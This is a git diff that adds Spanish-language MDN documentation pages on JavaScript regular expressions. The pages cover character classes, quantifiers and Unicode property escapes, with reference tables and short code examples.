+<div>{{EmbedInteractiveExample("pages/js/regexp-character-classes.html")}}</div>
+
+<h2 id="Tipos">Tipos</h2>
+
+<div class="hidden">La siguiente tabla también está duplicada en {{JSxRef("../Guide/Regular_Expressions/Cheatsheet", "esta hoja de referencia")}}. No olvides editarla también, ¡gracias!</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caracteres</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+ </tbody>
+ <tbody>
+  <tr>
+   <td><code>.</code></td>
+   <td>
+    <p>Tiene uno de los siguientes significados:</p>
+
+    <ul>
+     <li>Coincide con cualquier carácter único <em>excepto</em> terminadores de línea: <code>\n</code>, <code>\r</code>, <code>\u2028</code> o <code>\u2029</code>. Por ejemplo, <code>/.i/</code> coincide con "mi" y "si", pero no con "día", en "si alegra mi día".</li>
+     <li>Dentro de un juego de caracteres, el punto pierde su significado especial y concuerda con un punto literal.</li>
+    </ul>
+
+    <p>Ten en cuenta que el indicador multilínea <code>m</code> no cambia el comportamiento del punto. Por lo tanto, para hacer coincidir un patrón en varias líneas, se puede utilizar el conjunto de caracteres <code>[^]</code> — coincidirá con cualquier carácter, incluidas las nuevas líneas.</p>
+
+    <p>ES2018 agregó el indicador <code>s</code> "<em>dotAll</em>", el cual permite que el punto también coincida con los terminadores de línea.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\d</code></td>
+   <td>
+    <p>Busca cualquier dígito (número arábigo). Equivalente a <code>[0-9]</code>. Por ejemplo, <code>/\d/</code> o <code>/[0-9]/</code> coincide con "2" en "B2 es el número de suite".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\D</code></td>
+   <td>
+    <p>Busca cualquier caracter que <em>no</em> sea un dígito (número arábigo). Equivalente a <code>[^0-9]</code>. Por ejemplo, <code>/\D/</code> o <code>/[^0-9]/</code> coincide con "B" en "B2 es el número de suite".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\w</code></td>
+   <td>
+    <p>Busca cualquier caracter alfanumérico del alfabeto latino básico, incluido el caracter de subrayado. Equivalente a <code>[A-Za-z0-9_]</code>. Por ejemplo, <code>/\w/</code> coincide con "m" en "manzana", "5" en "$5.28", "3" en "3D" y "m" en "Émanuel".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\W</code></td>
+   <td>
+    <p>Busca cualquier caracter que no sea un caracter de palabra del alfabeto latino básico. Equivalente a <code>[^A-Za-z0-9_]</code>. Por ejemplo, <code>/\W/</code> o <code>/[^A-Za-z0-9_]/</code> coincide con "%" en "50%" y "É" en "Émanuel".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\s</code></td>
+   <td>
+    <p>Busca un solo caracter de espacio en blanco, incluido el espacio, tabulación, avance de página, avance de línea y otros espacios Unicode. Equivalente a <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Por ejemplo, <code>/\s\w*/</code> encuentra " bar" en "foo bar".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\S</code></td>
+   <td>
+    <p>Busca un solo caracter que no sea un espacio en blanco. Equivalente a <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Por ejemplo, <code>/\S\w*/</code> encuentra "foo" en "foo bar".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>Coincide con una tabulación horizontal.</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>Coincide con un retorno de carro.</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>Coincide con un salto de línea.</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>Coincide con una tabulación vertical.</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>Coincide con un caracter de avance de página.</td>
+  </tr>
+  <tr>
+   <td><code>[\b]</code></td>
+   <td>Coincide con un caracter de retroceso. Si estás buscando el carácter de límite de palabra (<code>\b</code>), consulta {{JSxRef("../Guide/Regular_Expressions/Boundaries", "Límites")}}.</td>
+  </tr>
+  <tr>
+   <td><code>\0</code></td>
+   <td>Coincide con un caracter <code>NUL</code>. No sigue a este con otro dígito.</td>
+  </tr>
+  <tr>
+   <td><code>\c<em>X</em></code></td>
+   <td>
+    <p>Coincide con un caracter de control mediante {{Interwiki("wikipedia", "Caret_notation", "notación de intercalación")}}, donde "X" es una letra de la A a la Z (correspondiente a los puntos de código <code>U+0001</code><em>-</em><code>U+001F</code>). Por ejemplo, <code>/\cM/</code> encuentra "\r" en "\r\n".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\x<em>hh</em></code></td>
+   <td>Coincide con el carácter con el código <code><em>hh</em></code> (dos dígitos hexadecimales).</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>hhhh</em></code></td>
+   <td>Coincide con una unidad de código UTF-16 con el valor <code><em>hhhh</em></code> (cuatro dígitos hexadecimales).</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>{hhhh}</em> o <em>\u{hhhhh}</em></code></td>
+   <td>(Solo cuando se establece el indicador <code>u</code>). Hace coincidir el carácter con el valor Unicode <code>U+<em>hhhh</em></code> o <code>U+<em>hhhhh</em></code> (dígitos hexadecimales).</td>
+  </tr>
+  <tr>
+   <td><code>\</code></td>
+   <td>
+    <p>Indica que el siguiente caracter se debe tratar de manera especial o "escaparse". Se comporta de dos formas.</p>
+
+    <ul>
+     <li>Para los caracteres que generalmente se tratan literalmente, indica que el siguiente caracter es especial y no se debe interpretar literalmente. Por ejemplo, <code>/b/</code> coincide con el carácter "b". Al colocar una barra invertida delante de "b", es decir, usando <code>/\b/</code>, el carácter se vuelve especial para significar que coincide con el límite de una palabra.</li>
+     <li>Para los caracteres que generalmente se tratan de manera especial, indica que el siguiente caracter no es especial y se debe interpretar literalmente. Por ejemplo, "*" es un carácter especial que significa que deben coincidir 0 o más ocurrencias del carácter anterior; por ejemplo, <code>/a*/</code> significa coincidir con 0 o más "<em>a</em>"es. Para hacer coincidir <code>*</code> literalmente, precede con una barra invertida; por ejemplo, <code>/a\*/</code> coincide con "a*".</li>
+    </ul>
+
+    <div class="blockIndicator note">
+    <p>Para reconocer este caracter literalmente, escápalo consigo mismo. En otras palabras, para buscar <code>\</code> usa <code>/\\/</code>.</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Buscar_una_serie_de_dígitos">Buscar una serie de dígitos</h3>
+
+<pre class="brush: js notranslate">var datosAleatorios = "015 354 8787 687351 3512 8735";
+var regexpCuatroDigitos = /\b\d{4}\b/g;
+// \b indica un límite (es decir, no empieza a coincidir en medio de una palabra)
+// \d{4} indica un dígito, cuatro veces
+// \b indica otro límite (es decir, no termina la coincidencia en medio de una palabra)
+
+
+console.table(datosAleatorios.match(regexpCuatroDigitos));
+// ['8787', '3512', '8735']
+</pre>
+
+<h3 id="Busca_una_palabra_del_alfabeto_latino_que_comience_con_A">Busca una palabra (del alfabeto latino) que comience con A</h3>
+
+<pre class="brush: js notranslate">var extractoAlicia = "Estoy segura de que no soy Ada, dijo, 'porque su cabello se hace en rizos tan largos, y el mío no se riza en absoluto'.";
+var regexpPalabraEmpiezaConA = /\b[aA]\w+/g;
+// \b indica un límite (es decir, no empieza a coincidir en medio de una palabra)
+// [aA] indica las letras a o A
+// \w+ indica cualquier carácter *del alfabeto latino*, varias veces
+
+console.table(extractoAlicia.match(regexpPalabraEmpiezaConA));
+// ["Ada", "absoluto"]
+</pre>
+
+<h3 id="Busca_una_palabra_de_caracteres_Unicode">Busca una palabra (de caracteres Unicode)</h3>
+
+<p>En lugar del alfabeto latino, podemos usar una variedad de caracteres Unicode para identificar una palabra (de modo que podamos tratar con texto en otros idiomas, tal como Ruso o Árabe). El "Plano multilingüe básico" de Unicode contiene la mayoría de los caracteres que se utilizan en todo el mundo y podemos utilizar clases y rangos de caracteres para reconocer las palabras escritas con esos caracteres.</p>
+
+<pre class="brush: js notranslate">var textoNoEs = "Приключения Алисы в Стране чудес";
+var regexpPalabraBMP = /([\u0000-\u0019\u0021-\uFFFF])+/gu;
+// BMP pasa por U+0000 a U+FFFF pero el espacio es U+0020
+
+console.table(textoNoEs.match(regexpPalabraBMP));
+[ 'Приключения', 'Алисы', 'в', 'Стране', 'чудес' ]
+</pre>
+
+<div class="hidden">
+<p>Nota para los editores de MDN: no intentes agregar ejemplos divertidos con emojis, ya que esos caracteres no los maneja la plataforma (Kuma).</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-characterclass', 'RegExp: Clases de caracteres')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>Para obtener información sobre la compatibilidad del navegador, consulta la {{JSxRef("../Guide/Regular_Expressions", "tabla principal de compatibilidad de expresiones regulares", "#Compatibilidad_del_navegador")}}.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("../Guide/Regular_Expressions", "Guía de expresiones regulares")}}
+  <ul>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Assertions", "Aserciones")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Cuantificadores", "Cuantificadores")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Escapes_de_propiedades_Unicode", "Escapes de propiedades Unicode")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Grupos_y_rangos", "Grupos y rangos")}}</li>
+  </ul>
+ </li>
+ <li>{{JSxRef("Objetos_globales/RegExp", "El constructor RegExp()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/guide/regular_expressions/cuantificadores/index.html b/files/es/web/javascript/guide/regular_expressions/cuantificadores/index.html
new file mode 100644
index 0000000000..bc2821219f
--- /dev/null
+++ b/files/es/web/javascript/guide/regular_expressions/cuantificadores/index.html
@@ -0,0 +1,182 @@
+---
+title: Cuantificadores
+slug: Web/JavaScript/Guide/Regular_Expressions/Cuantificadores
+tags:
+  - Expresiones Regulares
+  - Guía
+  - JavaScript
+  - Referencia
+  - cuantificadores
+  - regex
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Quantifiers
+---
+<p>{{jsSidebar("JavaScript Guide")}}</p>
+
+<p>Los cuantificadores indican el número de caracteres o expresiones que deben coincidir.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-quantifiers.html", "taller")}}</div>
+
+<h2 id="Tipos">Tipos</h2>
+
+<div class="hidden">La siguiente tabla también está duplicada en {{JSxRef("../Guide/Regular_Expressions/Cheatsheet", "esta hoja de referencia")}}. No olvides editarla también, ¡gracias!</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: A continuación, <em>elemento</em> se refiere no solo a caracteres individuales, sino que también incluye {{JSxRef("../Guide/Regular_Expressions/Character_Classes", "clases de caracteres")}}, {{JSxRef("../Guide/Regular_Expressions/Unicode_Property_Escapes", "escapes de propiedades Unicode")}}, {{JSxRef("../Guide/Regular_Expressions/Grupos_y_rangos", "grupos y rangos")}}.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caracteres</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><em>x</em>*</code></td>
+   <td>
+    <p>Concuerda 0 o más veces con el elemento "x" anterior. Por ejemplo, <code>/bu*/</code> coincide con "buuuu" en "Un fantasma abuuuucheado" y "b" en "Un búho gorjeó", pero nada en "Una cabra gruñó".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>+</code></td>
+   <td>
+    <p>Encuentra 1 o más veces el elemento "x" anterior Equivalente a <code>{1,}</code>. Por ejemplo, <code>/a+/</code> coincide con la "<em>a</em>" en "candy" y todas las "<em>a</em>"es en "caaaaaaandy".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>?</code></td>
+   <td>
+    <p>Halla 0 o 1 vez el elemento "x" anterior. Por ejemplo, <code>/e?le?/</code> coincide con "el" en "ángel" y "ele" en "ángeles".</p>
+
+    <p>Si se usa inmediatamente después de cualquiera de los cuantificadores <code>*</code>, <code>+</code>, <code>?</code>, o <code>{}</code>, hace que el cuantificador <em>no sea codicioso</em> (es decir que coincida con el mínimo número de veces), a diferencia del predeterminado, que es codicioso (que coincide con el máximo número de veces).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>{<em>n</em>}</code></td>
+   <td>
+    <p>Donde "n" es un número entero positivo, concuerda exactamente con "n" apariciones del elemento "x" anterior. Por ejemplo, <code>/a{2}/</code> no coincide con la "<em>a</em>" de "candy", pero coincide con todas las "<em>a</em>"es de "caandy" y las dos primeras "<em>a</em>"es en "caaandy".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>{<em>n</em>,}</code></td>
+   <td>
+    <p>Donde "n" es un número entero positivo, concuerda con al menos "n" apariciones del elemento "x". Por ejemplo, <code>/a{2,}/</code> no coincide con las "<em>a</em>"es en "caramelo", pero coincide con todas las "<em>a</em>"es en "caaraamelo" y en "caaaaaaaraaaamelo".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>{<em>n</em>,<em>m</em>}</code></td>
+   <td>
+    <p>Donde "n" es 0 o un número entero positivo, "m" es un número entero positivo y <code><em>m</em> &gt; <em>n</em></code> coincide con al menos "n" y como máximo "m" apariciones del elemento "x" anterior. Por ejemplo, <code>/a{1,3}/</code> no coincide con nada en "crmelo", la "<em>a</em>" en "carmelo", las dos "<em>a</em>"es en "caarmelo" y las tres primeras "<em>a</em>"es en "caaaaaaarmelo". Observa que al comparar "caaaaaaarmelo", encuentra las "aaa", aunque la cadena original tenía más "<em>a</em>"es.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code><em>x</em>*?</code><br>
+     <code><em>x</em>+?</code><br>
+     <code><em>x</em>??</code><br>
+     <code><em>x</em>{n}?</code><br>
+     <code><em>x</em>{n,}?</code><br>
+     <code><em>x</em>{n,m}?</code></p>
+   </td>
+   <td>
+    <p>De manera predeterminada, los cuantificadores como <code>*</code> y <code>+</code> son "codiciosos", lo cual significa que intentan hacer coincidir la mayor cantidad posible de la cadena. El caracter <code>?</code> después del cuantificador hace que el cuantificador "no sea codicioso": lo cual significa que se detendrá tan pronto como encuentre una coincidencia. Por ejemplo, dada una cadena como "algún &lt;foo&gt; &lt;bar&gt; nuevo &lt;/bar&gt; &lt;/foo&gt;":</p>
+
+    <ul>
+     <li><code>/&lt;.*&gt;/</code> coincidirá con "&lt;foo&gt; &lt;bar&gt; nuevo &lt;/bar&gt; &lt;/foo&gt;"</li>
+     <li><code>/&lt;.*?&gt;/</code> coincidirá con "&lt;foo&gt;"</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Patrón_repetido">Patrón repetido</h3>
+
+<pre class="brush: js notranslate">var palabraTerminadaConAes = /\w+a+\b/;
+var mensajeDelicado = "Esto es Espartaaaaaaa";
+
+console.table(mensajeDelicado.match(palabraTerminadaConAes)); // [ "Espartaaaaaaa" ]
+</pre>
+
+<h3 id="Conteo_de_caracteres">Conteo de caracteres</h3>
+
+<pre class="brush: js notranslate">var palabraDeUnaLetra = /\b\w\b/g;
+var palabraNoTanLarga = /\b\w{1,6}\b/g;
+var palabraLaaaaarga = /\b\w{10,}\b/g;
+
+var frase = "¿Por qué me tengo que sentar a estudiar las tablas de multiplicar?";
+
+console.table(frase.match(palabraDeUnaLetra)); // ["a"]
+console.table(frase.match(palabraNoTanLarga));    // ["Por", "qu", "me", "tengo", "que", "sentar", "a", "las", "tablas", "de"]
+console.table(frase.match(palabraLaaaaarga));      // ["multiplicar"]
+</pre>
+
+<h3 id="Caracter_opcional">Caracter opcional</h3>
+
+<pre class="brush: js notranslate">var londinText = "He asked his neighbour a favour.";
+var yanquiText = "He asked his neighbor a favor.";
+
+var regexpEnding = /\w+ou?r/g;
+// \w+ Una o varias letras
+// o   seguida de una "o",
+// u?  opcionalmente seguida de una "u"
+// r   seguida de una "r"
+
+console.table(londinText.match(regexpEnding));
+// ["neighbour", "favour"]
+
+console.table(yanquiText.match(regexpEnding));
+// ["neighbor", "favor"]
+</pre>
+
+<h3 id="Codicioso_versus_no_codicioso">Codicioso versus no codicioso</h3>
+
+<pre class="brush: js notranslate">var texto = "Debo estar muy cerca del centro de la tierra.";
+var regexpCodiciosa = /[\w ]+/;
+// [\w ]      una letra del alfabeto latino o un espacio en blanco
+//      +     una o varias veces
+
+console.log(texto.match(regexpCodiciosa)[0]);
+// "Debo estar muy cerca del centro de la tierra."
+// casi todo el texto coincide (omite el caracter de punto)
+
+var regexpNoCodiciosa = /[\w ]+?/; // Observa el signo de interrogación
+console.log(texto.match(regexpNoCodiciosa));
+// "D"
+// La coincidencia es la más pequeña posible
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-quantifier', 'RegExp: Quantifiers')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>Para obtener información sobre la compatibilidad del navegador, consulta la {{JSxRef("../Guide/Regular_Expressions", "tabla principal de compatibilidad de expresiones regulares", "#Compatibilidad_del_navegador")}}.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("../Guide/Regular_Expressions", "Guía de expresiones regulares")}}
+
+  <ul>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Character_Classes", "Clases de caracteres")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Assertions", "Aserciones")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Escapes_de_propiedades_Unicode", "Escapes de propiedades Unicode")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Grupos_y_rangos", "Grupos y rangos")}}</li>
+  </ul>
+ </li>
+ <li>{{JSxRef("Objetos_globales/RegExp", "El constructor RegExp()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/guide/regular_expressions/escapes_de_propiedades_unicode/index.html b/files/es/web/javascript/guide/regular_expressions/escapes_de_propiedades_unicode/index.html
new file mode 100644
index 0000000000..7fc434a0dc
--- /dev/null
+++ b/files/es/web/javascript/guide/regular_expressions/escapes_de_propiedades_unicode/index.html
@@ -0,0 +1,177 @@
+---
+title: Escapes de propiedades Unicode
+slug: Web/JavaScript/Guide/Regular_Expressions/Escapes_de_propiedades_Unicode
+tags:
+  - Expresiones Regulares
+  - Guía
+  - JavaScript
+  - Referencia
+  - escapes de propiedades unicode
+  - regex
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes
+---
+<p>{{jsSidebar("JavaScript Guide")}}</p>
+
+<p>Los <strong>escapes de propiedad Unicode</strong> en las {{JSxRef("../Guide/Regular_Expressions", "Expresiones regulares")}} permiten la coincidencia de caracteres según sus propiedades Unicode. Un caracter se describe mediante varias propiedades que, o bien, son binarias ("tipo booleano") o, no binarias. Por ejemplo, puedes usar escapes de propiedades Unicode para reconocer emojis, signos de puntuación, letras (incluso letras de idiomas específicos o scripts), etc.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-unicode-property-escapes.html", "taller")}}</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Para que funcionen los escapes de propiedad Unicode, una expresión regular debe utilizar {{JSxRef("../Guide/Regular_Expressions", "la bandera <code>u</code>", "#Busqueda_avanzada_con_banderas")}} que indica que una cadena se debe considerar como una serie de puntos de código Unicode. Consulta también {{JSxRef("Objetos_globales/RegExp/unicode", "RegExp.prototype.unicode")}}.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Algunas propiedades Unicode abarcan muchos más caracteres que algunas {{JSxRef("../Guide/Regular_Expressions/Character_Classes", "clases de caracteres")}} (como <code>\w</code> que coincide solo con letras latinas, desde <code>a</code> hasta <code>z</code>) pero esta última es más compatible con los navegadores (a partir de enero de 2020).</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<div class="hidden">La siguiente sección también está duplicada en {{JSxRef("../Guide/Regular_Expressions/Hoja_de_referencia", "esta hoja de trucos")}}. No olvides editarla también, ¡gracias!</div>
+
+<pre class="brush: js notranslate">// Valores no binarios
+\p{<em>UnicodePropertyValue</em>}
+\p{<em>UnicodePropertyName</em>=<em>UnicodePropertyValue</em>}
+
+// Valores binarios y no binarios
+\p{<em>UnicodeBinaryPropertyName</em>}
+
+// Negación: \P se niega con \p
+\P{<em>UnicodePropertyValue</em>}
+\P{<em>UnicodeBinaryPropertyName</em>}
+</pre>
+
+<ul>
+ <li><a href="https://unicode.org/reports/tr18/#General_Category_Property">Categoría general</a> (<code>gc</code> por «<em><strong>g</strong>eneral <strong>c</strong>ategory</em>»)</li>
+ <li><a href="https://unicode.org/reports/tr24/#Script">Script</a> (<code>sc</code> por «<em><strong>sc</strong>ript</em>»)</li>
+ <li><a href="https://unicode.org/reports/tr24/#Script_Extensions">Extensiones de script</a> (<code>scx</code> por «<em><strong>sc</strong>ript e<strong>x</strong>tensions</em>»)</li>
+</ul>
+
+<p>Consulta también <a href="https://www.unicode.org/Public/UCD/latest/ucd/PropertyValueAliases.txt">PropertyValueAliases.txt<span style="display: none;"> </span></a></p>
+
+<dl>
+ <dt>UnicodeBinaryPropertyName</dt>
+ <dd>El nombre de una <a href="https://tc39.es/ecma262/#table-binary-unicode-properties">propiedad binaria</a>. Por ejemplo: <code><a href="https://unicode.org/reports/tr18/#General_Category_Property">ASCII</a></code>, <code><a href="https://unicode.org/reports/tr44/#Alphabetic">Alfabético</a></code>, <code>Math</code>, <code><a href="https://unicode.org/reports/tr44/#Diacritic">Diacrítico</a></code>, <code><a href="https://unicode.org/reports/tr51/#Emoji_Properties">Emoji</a></code>, <code><a href="https://unicode.org/reports/tr44/#Hex_Digit">Dígito hexadecimal</a></code>, <code>Math</code>, <code><a href="https://unicode.org/reports/tr44/#White_Space">Espacio en blanco</a></code>, etc. Consulta <a href="https://www.unicode.org/Public/UCD/latest/ucd/PropList.txt">Unicode Data PropList.txt</a> para obtener más información.</dd>
+ <dt>NombreDePropiedadUnicode</dt>
+ <dd>El nombre de una propiedad <a href="https://tc39.es/ecma262/#table-nonbinary-unicode-properties">no binaria</a>:</dd>
+ <dt>ValorDePropiedadUnicode</dt>
+ <dd>Uno de los fragmentos enumerados en la sección Valores, más adelante. Muchos valores tienen alias o abreviaturas (por ejemplo, el valor <code>Decimal_Number</code> para la propiedad <code>General_Category</code> se puede escribir <code>Nd</code>, <code>digit</code>, o <code>Decimal_Number</code>). Para la mayoría de los valores, la parte <em><code>NombreDePropiedadUnicode</code></em> y el signo igual se pueden omitir. Si se especifica un <em><code>NombreDePropiedadUnicode</code></em>, el valor debe corresponder al tipo de propiedad proporcionado.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Debido a que hay muchas propiedades y valores disponibles, no los describiremos exhaustivamente aquí, en su lugar proporcionaremos varios ejemplos.</p>
+</div>
+
+<h2 id="Justificación">Justificación</h2>
+
+<p>Antes de ES2018, no existía una forma eficiente de hacer coincidir caracteres de diferentes conjuntos basados en <code>scripts</code> (como macedonio, griego, georgiano, etc.) o <code>propertyName</code> (como Emoji, etc.) en JavaScript. Consulta la <a href="https://github.com/tc39/proposal-regexp-unicode-property-escapes">propuesta tc39 sobre escapes de propiedad Unicode</a> para obtener más información.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Categorías_generales">Categorías generales</h3>
+
+<p>Las categorías generales se utilizan para clasificar caracteres Unicode, y hay subcategorías disponibles para definir una categorización más precisa. Es posible utilizar formas cortas o largas en los escapes de propiedades Unicode.</p>
+
+<p>Se pueden utilizar para reconocer letras, números, símbolos, signos de puntuación, espacios, etc. Para obtener una lista más exhaustiva de categorías generales, consulta <a href="https://unicode.org/reports/tr18/#General_Category_Property">la especificación Unicode</a>.</p>
+
+<pre class="brush: js notranslate">// encontrar todas las letras de un texto
+let historia = "Es el gato de Cheshire: ahora tendré alguien con quien hablar";
+
+// Forma más explícita
+historia.match(/\p{General_Category=Letter}/gu);
+
+// No es obligatorio utilizar el nombre de la propiedad para las categorías generales
+historia.match(/\p{Letter}/gu);
+
+// Esto es equivalente (alias corto):
+historia.match(/\p{L}/gu);
+
+// Esto también es equivalente (conjunción de todas las subcategorías que utilizan alias cortos)
+historia.match(/\p{Lu}|\p{Ll}|\p{Lt}|\p{Lm}|\p{Lo}/gu);
+</pre>
+
+<h3 id="Scripts_y_extensiones_de_script">Scripts y extensiones de script</h3>
+
+<p>Algunos idiomas usan diferentes signos para su sistema de escritura. Por ejemplo, el Inglés y el Español se escriben con los signos latinos, mientras que el Árabe y el Ruso se escriben con otros signos (Árabe y Cirílico, respectivamente). Las propiedades Unicode <code>Script</code> y <code>Script_Extensions</code> permiten que las expresiones regulares coincidan con los caracteres según el script con el que se utilizan principalmente (<code>Script</code>) o según el conjunto de los scripts a los que pertenecen (<code>Script_Extensions</code>).</p>
+
+<p>Por ejemplo, <code>A</code> pertenece al script <code>Latin</code> y <code>ε</code> al script <code>Greek</code> (Griego).</p>
+
+<pre class="brush: js notranslate">let caracteresMezclados = "aεЛ";
+
+// Usando el nombre canónico "largo" del script
+caracteresMezclados.match(/\p{Script=Latin}/u); // a
+
+// Usando un alias corto para el script
+caracteresMezclados.match(/\p{Script=Greek}/u); // ε
+
+// Usando el nombre corto Sc para la propiedad Script
+caracteresMezclados.match(/\p{Sc=Cyrillic}/u); // Л
+</pre>
+
+<p>Para obtener más detalles, consulta <a href="https://unicode.org/reports/tr24/#Script">la especificación Unicode</a> y la <a href="https://tc39.es/ecma262/#table-unicode-script-values">Tabla de scripts en la especificación ECMAScript</a>.</p>
+
+<p>Si se usa un carácter en un conjunto limitado de scripts, la propiedad <code>Script</code> solo coincidirá con el script "predominante" utilizado. Si quieres hacer coincidir caracteres basados en un script "no predominante", podrías usar la propiedad <code>Script_Extensions</code> (<code>Scx</code> para abreviar).</p>
+
+<pre class="brush: js notranslate">// ٢ es el dígito 2 en notación Árabe-Índica
+// si bien está escrito en un script predominante en árabe
+// también se puede escribir en el script Thaana
+
+"٢".match(/\p{Script=Thaana}/u);
+// null ya que Thaana no es el script predominante     super()
+
+"٢".match(/\p{Script_Extensions=Thaana}/u);
+// ["٢", index: 0, input: "٢", groups: undefined]
+</pre>
+
+<h3 id="Escapes_de_propiedades_Unicode_versus_Clases_de_caracteres">Escapes de propiedades Unicode versus Clases de caracteres</h3>
+
+<p>Con las expresiones regulares de JavaScript, también es posible utilizar {{JSxRef("../Guide/Regular_Expressions/Clases_de_caracteres", "clases de caracteres")}} y especialmente <code>\w</code> o <code>\d</code> para hacer coincidir letras o dígitos. Sin embargo, estos formularios solo coinciden con caracteres de la escritura <em>latina</em> (en otras palabras, de la <code>a</code> a la <code>z</code> y <code>A</code> a <code>Z</code> para <code>\w</code> y <code>0</code> a <code>9</code> para <code>\d</code>). Como se muestra en {{JSxRef("../Guide/Regular_Expressions/Clases_de_caracteres", "este ejemplo", "#Busca_una_palabra_de_caracteres_Unicode")}}, puede ser un poco torpe trabajar con textos no latinos.</p>
+
+<p>Las categorías de escape de propiedad Unicode abarcan muchos más caracteres y <code>\p{Letter}</code> o <code>\p{Number}</code> funcionarán para cualquier script.</p>
+
+<pre class="brush: js notranslate">// Intentando usar rangos para evitar limitaciones de \w:
+
+const textoNoEs = "Приключения Алисы в Стране чудес";
+const regexpPalabraBMP = /([\u0000-\u0019\u0021-\uFFFF])+/gu;
+// BMP pasa por U+0000 a U+FFFF pero el espacio es U+0020
+
+console.table(textoNoEs.match(regexpPalabraBMP));
+
+// El uso de la propiedad Unicode se escapa en su lugar
+const regexpEPU = /\p{L}+/gu;
+console.table(textoNoEs.match(regexpEPU));
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-runtime-semantics-unicodematchproperty-p', 'RegExp: Escapes de propiedades Unicode')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>Para obtener información sobre la compatibilidad del navegador, consulta la {{JSxRef("../Guide/Regular_Expressions", "tabla principal de compatibilidad de expresiones regulares", "#Compatibilidad_del_navegador")}}.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("../Guide/Regular_Expressions", "Guía de expresiones regulares")}}
+  <ul>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Character_Classes", "Clases de caracteres")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Assertions", "Aserciones")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Cuantificadores", "Cuantificadores")}}</li>
+   <li>{{JSxRef("../Guide/Regular_Expressions/Grupos_y_rangos", "Grupos y rangos")}}</li>
+  </ul>
+ </li>
+ <li>{{JSxRef("Objetos_globales/RegExp", "El constructor RegExp()")}}</li>
